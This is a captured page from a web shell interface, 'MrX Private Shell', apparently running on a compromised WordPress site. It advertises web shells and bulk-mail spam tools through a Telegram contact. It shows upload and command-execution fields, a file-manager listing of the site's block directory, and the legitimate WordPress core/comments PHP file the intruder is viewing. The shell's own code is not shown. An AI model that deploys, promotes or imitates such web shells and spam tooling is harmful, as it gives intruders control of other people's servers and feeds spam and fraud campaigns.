__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Server-side rendering of the `core/comments` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comments` block on the server.
 *
 * This render callback is mainly for rendering a dynamic, legacy version of
 * this block (the old `core/post-comments`). It uses the `comments_template()`
 * function to generate the output, in the same way as classic PHP themes.
 *
 * As this callback will always run during SSR, first we need to check whether
 * the block is in legacy mode. If not, the HTML generated in the editor is
 * returned instead.
 *
 * @since 6.1.0
 *
 * @global WP_Post $post Global post object.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the filtered post comments for the current post wrapped inside "p" tags.
 */
function render_block_core_comments( $attributes, $content, $block ) {
	global $post;

	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	$post_id = $block->context['postId'];
	// Return early if there are no comments and comments are closed.
	if ( ! comments_open( $post_id ) && (int) get_comments_number( $post_id ) === 0 ) {
		return '';
	}

	// If this isn't the legacy block, we need to render the static version of this block.
	$is_legacy = 'core/post-comments' === $block->name || ! empty( $attributes['legacy'] );
	if ( ! $is_legacy ) {
		return $block->render( array( 'dynamic' => false ) );
	}

	$post_before = $post;
	$post        = get_post( $post_id );
	setup_postdata( $post );

	ob_start();

	/*
	 * There's a deprecation warning generated by WP Core.
	 * Ideally this deprecation is removed from Core.
	 * In the meantime, this removes it from the output.
	 */
	add_filter( 'deprecated_file_trigger_error', '__return_false' );
	comments_template();
	remove_filter( 'deprecated_file_trigger_error', '__return_false' );

	$output = ob_get_clean();
	$post   = $post_before;

	$classnames = array();
	// Adds the old class name for styles' backwards compatibility.
	if ( isset( $attributes['legacy'] ) ) {
		$classnames[] = 'wp-block-post-comments';
	}
	if ( isset( $attributes['textAlign'] ) ) {
		$classnames[] = 'has-text-align-' . $attributes['textAlign'];
	}

	$wrapper_attributes = get_block_wrapper_attributes(
		array( 'class' => implode( ' ', $classnames ) )
	);

	/*
	 * Enqueues scripts and styles required only for the legacy version. That is
	 * why they are not defined in `block.json`.
	 */
	wp_enqueue_script( 'comment-reply' );
	enqueue_legacy_post_comments_block_styles( $block->name );

	return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $output );
}

/**
 * Registers the `core/comments` block on the server.
 *
 * @since 6.1.0
 */
function register_block_core_comments() {
	register_block_type_from_metadata(
		__DIR__ . '/comments',
		array(
			'render_callback'   => 'render_block_core_comments',
			'skip_inner_blocks' => true,
		)
	);
}
add_action( 'init', 'register_block_core_comments' );

/**
 * Use the button block classes for the form-submit button.
 *
 * @since 6.1.0
 *
 * @param array $fields The default comment form arguments.
 *
 * @return array Returns the modified fields.
 */
function comments_block_form_defaults( $fields ) {
	if ( wp_is_block_theme() ) {
		$fields['submit_button'] = '<input name="%1$s" type="submit" id="%2$s" class="%3$s wp-block-button__link ' . wp_theme_get_element_class_name( 'button' ) . '" value="%4$s" />';
		$fields['submit_field']  = '<p class="form-submit wp-block-button">%1$s %2$s</p>';
	}

	return $fields;
}
add_filter( 'comment_form_defaults', 'comments_block_form_defaults' );

/**
 * Enqueues styles from the legacy `core/post-comments` block. These styles are
 * required only by the block's fallback.
 *
 * @since 6.1.0
 *
 * @param string $block_name Name of the new block type.
 */
function enqueue_legacy_post_comments_block_styles( $block_name ) {
	static $are_styles_enqueued = false;

	if ( ! $are_styles_enqueued ) {
		$handles = array(
			'wp-block-post-comments',
			'wp-block-buttons',
			'wp-block-button',
		);
		foreach ( $handles as $handle ) {
			wp_enqueue_block_style( $block_name, array( 'handle' => $handle ) );
		}
		$are_styles_enqueued = true;
	}
}

/**
 * Ensures backwards compatibility for any users running the Gutenberg plugin
 * who have used Post Comments before it was merged into Comments Query Loop.
 *
 * The same approach was followed when core/query-loop was renamed to
 * core/post-template.
 *
 * @since 6.1.0
 *
 * @see https://github.com/WordPress/gutenberg/pull/41807
 * @see https://github.com/WordPress/gutenberg/pull/32514
 */
function register_legacy_post_comments_block() {
	$registry = WP_Block_Type_Registry::get_instance();

	/*
	 * Remove the old `post-comments` block if it was already registered, as it
	 * is about to be replaced by the type defined below.
	 */
	if ( $registry->is_registered( 'core/post-comments' ) ) {
		unregister_block_type( 'core/post-comments' );
	}

	// Recreate the legacy block metadata.
	$metadata = array(
		'name'              => 'core/post-comments',
		'category'          => 'theme',
		'attributes'        => array(
			'textAlign' => array(
				'type' => 'string',
			),
		),
		'uses_context'      => array(
			'postId',
			'postType',
		),
		'supports'          => array(
			'html'       => false,
			'align'      => array( 'wide', 'full' ),
			'typography' => array(
				'fontSize'                      => true,
				'lineHeight'                    => true,
				'__experimentalFontStyle'       => true,
				'__experimentalFontWeight'      => true,
				'__experimentalLetterSpacing'   => true,
				'__experimentalTextTransform'   => true,
				'__experimentalDefaultControls' => array(
					'fontSize' => true,
				),
			),
			'color'      => array(
				'gradients'                     => true,
				'link'                          => true,
				'__experimentalDefaultControls' => array(
					'background' => true,
					'text'       => true,
				),
			),
			'inserter'   => false,
		),
		'style'             => array(
			'wp-block-post-comments',
			'wp-block-buttons',
			'wp-block-button',
		),
		'render_callback'   => 'render_block_core_comments',
		'skip_inner_blocks' => true,
	);

	/*
	 * Filters the metadata object, the same way it's done inside
	 * `register_block_type_from_metadata()`. This applies some default filters,
	 * like `_wp_multiple_block_styles`, which is required in this case because
	 * the block has multiple styles.
	 */
	/** This filter is documented in wp-includes/blocks.php */
	$metadata = apply_filters( 'block_type_metadata', $metadata );

	register_block_type( 'core/post-comments', $metadata );
}
add_action( 'init', 'register_legacy_post_comments_block', 21 );

Filemanager

Name Type Size Permission Actions
accordion Folder 0775
accordion-heading Folder 0775
accordion-item Folder 0775
accordion-panel Folder 0775
archives Folder 0775
audio Folder 0775
avatar Folder 0775
block Folder 0775
button Folder 0775
buttons Folder 0775
calendar Folder 0775
categories Folder 0775
code Folder 0775
column Folder 0775
columns Folder 0775
comment-author-name Folder 0775
comment-content Folder 0775
comment-date Folder 0775
comment-edit-link Folder 0775
comment-reply-link Folder 0775
comment-template Folder 0775
comments Folder 0775
comments-pagination Folder 0775
comments-pagination-next Folder 0775
comments-pagination-numbers Folder 0775
comments-pagination-previous Folder 0775
comments-title Folder 0775
cover Folder 0775
details Folder 0775
embed Folder 0775
file Folder 0775
footnotes Folder 0775
freeform Folder 0775
gallery Folder 0775
group Folder 0775
heading Folder 0775
home-link Folder 0775
html Folder 0775
image Folder 0775
latest-comments Folder 0775
latest-posts Folder 0775
legacy-widget Folder 0775
list Folder 0775
list-item Folder 0775
loginout Folder 0775
math Folder 0775
media-text Folder 0775
missing Folder 0775
more Folder 0775
navigation Folder 0775
navigation-link Folder 0775
navigation-submenu Folder 0775
nextpage Folder 0775
page-list Folder 0775
page-list-item Folder 0775
paragraph Folder 0775
pattern Folder 0775
post-author Folder 0775
post-author-biography Folder 0775
post-author-name Folder 0775
post-comments-count Folder 0775
post-comments-form Folder 0775
post-comments-link Folder 0775
post-content Folder 0775
post-date Folder 0775
post-excerpt Folder 0775
post-featured-image Folder 0775
post-navigation-link Folder 0775
post-template Folder 0775
post-terms Folder 0775
post-time-to-read Folder 0775
post-title Folder 0775
preformatted Folder 0775
pullquote Folder 0775
query Folder 0775
query-no-results Folder 0775
query-pagination Folder 0775
query-pagination-next Folder 0775
query-pagination-numbers Folder 0775
query-pagination-previous Folder 0775
query-title Folder 0775
query-total Folder 0775
quote Folder 0775
read-more Folder 0775
rss Folder 0775
search Folder 0775
separator Folder 0775
shortcode Folder 0775
site-logo Folder 0775
site-tagline Folder 0775
site-title Folder 0775
social-link Folder 0775
social-links Folder 0775
spacer Folder 0775
table Folder 0775
tag-cloud Folder 0775
template-part Folder 0775
term-count Folder 0775
term-description Folder 0775
term-name Folder 0775
term-template Folder 0775
terms-query Folder 0775
text-columns Folder 0775
verse Folder 0775
video Folder 0775
widget-group Folder 0775
accordion-item.php File 2.35 KB 0664
accordion.php File 1.12 KB 0664
archives.php File 4.31 KB 0664
avatar.php File 5.61 KB 0664
block.php File 4.09 KB 0664
blocks-json.php File 213.43 KB 0664
button.php File 1.71 KB 0664
calendar.php File 5.93 KB 0664
categories.php File 4.54 KB 0664
comment-author-name.php File 2.08 KB 0664
comment-content.php File 2.4 KB 0664
comment-date.php File 1.82 KB 0664
comment-edit-link.php File 1.67 KB 0664
comment-reply-link.php File 2.03 KB 0664
comment-template.php File 4.39 KB 0664
comments-pagination-next.php File 1.88 KB 0664
comments-pagination-numbers.php File 1.59 KB 0664
comments-pagination-previous.php File 1.75 KB 0664
comments-pagination.php File 1.23 KB 0664
comments-title.php File 2.71 KB 0664
comments.php File 6.63 KB 0664
cover.php File 3.1 KB 0664
file.php File 1.83 KB 0664
footnotes.php File 3.68 KB 0664
gallery.php File 6.29 KB 0664
heading.php File 1.27 KB 0664
home-link.php File 5.31 KB 0664
image.php File 13.5 KB 0664
index.php File 4.99 KB 0664
latest-comments.php File 4.91 KB 0664
latest-posts.php File 8.53 KB 0664
legacy-widget.php File 3.92 KB 0664
list.php File 1.24 KB 0664
loginout.php File 1.63 KB 0664
media-text.php File 4.28 KB 0664
navigation-link.php File 13.63 KB 0664
navigation-submenu.php File 9.74 KB 0664
navigation.php File 48.39 KB 0664
page-list-item.php File 361 B 0664
page-list.php File 13.29 KB 0664
pattern.php File 1.75 KB 0664
post-author-biography.php File 1.49 KB 0664
post-author-name.php File 1.91 KB 0664
post-author.php File 2.67 KB 0664
post-comments-count.php File 1.25 KB 0664
post-comments-form.php File 2.74 KB 0664
post-comments-link.php File 2.18 KB 0664
post-content.php File 2.29 KB 0664
post-date.php File 3.55 KB 0664
post-excerpt.php File 3.53 KB 0664
post-featured-image.php File 9.14 KB 0664
post-navigation-link.php File 4.72 KB 0664
post-template.php File 5.61 KB 0664
post-terms.php File 3.55 KB 0664
post-time-to-read.php File 6.34 KB 0664
post-title.php File 2.09 KB 0664
query-no-results.php File 1.8 KB 0664
query-pagination-next.php File 3.69 KB 0664
query-pagination-numbers.php File 4.66 KB 0664
query-pagination-previous.php File 3.49 KB 0664
query-pagination.php File 1.15 KB 0664
query-title.php File 2.87 KB 0664
query-total.php File 2.48 KB 0664
query.php File 5.56 KB 0664
read-more.php File 1.79 KB 0664
require-dynamic-blocks.php File 4.59 KB 0664
require-static-blocks.php File 558 B 0664
rss.php File 4.5 KB 0664
search.php File 23.26 KB 0664
shortcode.php File 735 B 0664
site-logo.php File 6.19 KB 0664
site-tagline.php File 1.17 KB 0664
site-title.php File 1.82 KB 0664
social-link.php File 66.15 KB 0664
tag-cloud.php File 1.55 KB 0664
template-part.php File 9.92 KB 0664
term-count.php File 1.8 KB 0664
term-description.php File 1.73 KB 0664
term-name.php File 2.02 KB 0664
term-template.php File 4.41 KB 0664
video.php File 2.67 KB 0664
widget-group.php File 2.38 KB 0664
Filemanager